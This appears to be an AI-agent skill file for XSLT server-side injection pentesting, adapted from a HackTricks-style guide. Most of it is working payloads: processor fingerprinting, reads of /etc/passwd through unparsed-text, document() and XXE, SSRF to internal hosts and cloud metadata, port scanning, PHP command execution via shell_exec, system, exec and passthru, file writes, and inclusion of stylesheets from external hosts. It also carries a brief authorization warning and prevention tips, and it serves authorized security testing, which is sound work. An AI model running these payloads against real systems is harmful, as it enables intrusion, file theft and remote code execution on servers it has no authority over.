Hacktricks-skills xslt-injection-pentest

XSLT Server-Side Injection (SSI) pentesting skill. Use this whenever the user needs to test for XSLT injection vulnerabilities, fingerprint XSLT processors, read files via XSLT, perform SSRF through XSLT, or execute code through XSLT transformations. Trigger on mentions of XSLT, stylesheet injection, XML transformation vulnerabilities, or when analyzing applications that process XSL files.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations/SKILL.MD
source content

XSLT Server-Side Injection (SSI) Pentesting

A comprehensive guide for testing XSLT injection vulnerabilities in web applications. This skill covers fingerprinting, file operations, SSRF, and code execution techniques.

⚠️ Authorization Required

Only use these techniques on systems you have explicit authorization to test. Unauthorized access is illegal.

Understanding XSLT Injection

XSLT (Extensible Stylesheet Language Transformations) is used to transform XML documents. When XSLT stylesheets are processed server-side and user input can influence the stylesheet content, injection vulnerabilities may exist.

Common XSLT Processors

  • Libxslt (Gnome)
  • Xalan (Apache)
  • Saxon (Saxonica)

Vulnerability Prerequisites

  1. XSLT tags must be stored/processed server-side
  2. User input must be able to influence the XSLT content
  3. The application must process the XSLT transformation

Fingerprinting XSLT Processors

Identify the XSLT processor and version to determine available attack vectors.

Basic Fingerprint Payload

<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
 Version: <xsl:value-of select="system-property('xsl:version')" /><br />
 Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
 Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
 <xsl:if test="system-property('xsl:product-name')">
 Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:product-version')">
 Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:is-schema-aware')">
 Is Schema Aware: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:supports-serialization')">
 Supports Serialization: <xsl:value-of select="system-property('xsl:supports-serialization')" /><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:supports-backwards-compatibility')">
 Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supports-backwards-compatibility')" /><br />
 </xsl:if>
</xsl:template>
</xsl:stylesheet>

Version-Specific Features

  • XSLT 1.0: Basic transformation, limited functions
  • XSLT 2.0: Added
    unparsed-text()
    ,
    unparsed-text-line()
    ,
    unparsed-text-available()
  • XSLT 3.0: Additional file I/O capabilities

File Reading Techniques

Method 1: unparsed-text() (XSLT 2.0+)

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
</xsl:template>
</xsl:stylesheet>

Method 2: document() Function

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>

Method 3: XXE Entity Injection

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[
<!ENTITY ext_file SYSTEM "/etc/passwd">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
&ext_file;
</xsl:template>
</xsl:stylesheet>

Method 4: PHP Function Integration

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" 
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 
  xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:value-of select="php:function('file_get_contents','/path/to/file')"/>
</xsl:template>
</xsl:stylesheet>

Method 5: Directory Listing (PHP)

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" 
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 
  xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:value-of select="php:function('opendir','/path/to/dir')"/>
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
</xsl:template>
</xsl:stylesheet>

Server-Side Request Forgery (SSRF)

Basic SSRF via xsl:include

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
<xsl:include href="http://127.0.0.1:8000/xslt"/>
<xsl:template match="/">
</xsl:template>
</xsl:stylesheet>

SSRF via document()

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="document('http://internal-server:8080/admin')"/>
</xsl:template>
</xsl:stylesheet>

Port Scanning

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" 
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 
  xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:value-of select="document('http://target:22')"/>
<xsl:value-of select="document('http://target:80')"/>
<xsl:value-of select="document('http://target:443')"/>
</xsl:template>
</xsl:stylesheet>

Code Execution

PHP shell_exec

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:value-of select="php:function('shell_exec','whoami')" />
</xsl:template>
</xsl:stylesheet>

PHP system()

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:value-of select="php:function('system','id')" />
</xsl:template>
</xsl:stylesheet>

PHP exec()

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:value-of select="php:function('exec','cat /etc/passwd')" />
</xsl:template>
</xsl:stylesheet>

PHP passthru()

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:value-of select="php:function('passthru','ls -la')" />
</xsl:template>
</xsl:stylesheet>

PHP assert() with var_dump

<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" 
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 
  xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
  <xsl:copy-of name="asd" 
    select="php:function('assert','var_dump(scandir(chr(46).chr(47)))')" />
  <br />
</body>
</html>

Access PHP Static Class Methods

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 
  xmlns:php="http://php.net/xsl" version="1.0">
<xsl:output method="html" version="XHTML 1.0" encoding="UTF-8" indent="yes" />
<xsl:template match="root">
<html>
  <xsl:value-of select="php:function('ClassName::staticMethod','parameter')" />
</html>
</xsl:template>
</xsl:stylesheet>

File Writing

XSLT 2.0 result-document

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" 
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 
  xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:result-document href="local_file.txt">
  <xsl:text>Write Local File</xsl:text>
</xsl:result-document>
</xsl:template>
</xsl:stylesheet>

Xalan-J Extension

<xsl:template match="/">
<redirect:open file="local_file.txt"/>
<redirect:write file="local_file.txt">Write Local File</redirect:write>
<redirect:close file="local_file.txt"/>
</xsl:template>

External XSLT Inclusion

Via xsl:include

<xsl:include href="http://external.web/external.xsl"/>

Via xml-stylesheet Processing Instruction

<?xml version="1.0" ?>
<?xml-stylesheet type="text/xsl" href="http://external.web/ext.xsl"?>

JavaScript Injection

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<script>confirm("XSLT Injection Detected");</script>
</xsl:template>
</xsl:stylesheet>

Testing Workflow

Step 1: Identify Injection Point

Look for:

  • File upload endpoints accepting
    .xsl
    files
  • Parameters that control stylesheet selection
  • XML processing with external stylesheet references
  • APIs that transform XML with user-controlled stylesheets

Step 2: Fingerprint the Processor

Use the fingerprint payload to identify:

  • XSLT version (1.0, 2.0, 3.0)
  • Vendor (Saxon, Xalan, Libxslt)
  • Available features and functions

Step 3: Test File Reading

Try each file reading method based on the processor capabilities:

  • XSLT 2.0+:
    unparsed-text()
  • All versions:
    document()
  • PHP-enabled:
    php:function()
  • XXE-enabled: Entity injection

Step 4: Test SSRF

Attempt to access:

  • Internal network resources
  • Cloud metadata endpoints (
    169.254.169.254
    )
  • Local services (
    127.0.0.1
    )

Step 5: Test Code Execution

If PHP functions are available, test command execution:

  • shell_exec()
  • system()
  • exec()
  • passthru()

Detection and Prevention

Detection Signs

  • Unexpected output from XML transformations
  • Error messages revealing XSLT processor details
  • Ability to read files through XML processing
  • SSRF indicators in transformation output

Prevention Measures

  1. Disable external stylesheet processing when not needed
  2. Validate and sanitize all XSLT input
  3. Use allowlists for permitted XSLT functions
  4. Disable PHP function integration in XSLT processors
  5. Run transformations in sandboxed environments
  6. Apply principle of least privilege to transformation processes

Additional Resources

Payload Collections

Documentation

Research Papers

Quick Reference

TechniqueXSLT VersionPHP RequiredNotes
unparsed-text()
2.0+NoDirect file read
document()
1.0+NoFile/URL read
php:function()
1.0+YesFull PHP access
XXE Entities1.0+NoRequires DTD support
xsl:include
1.0+NoExternal stylesheet
result-document
2.0+NoFile write
system-property()
1.0+NoFingerprinting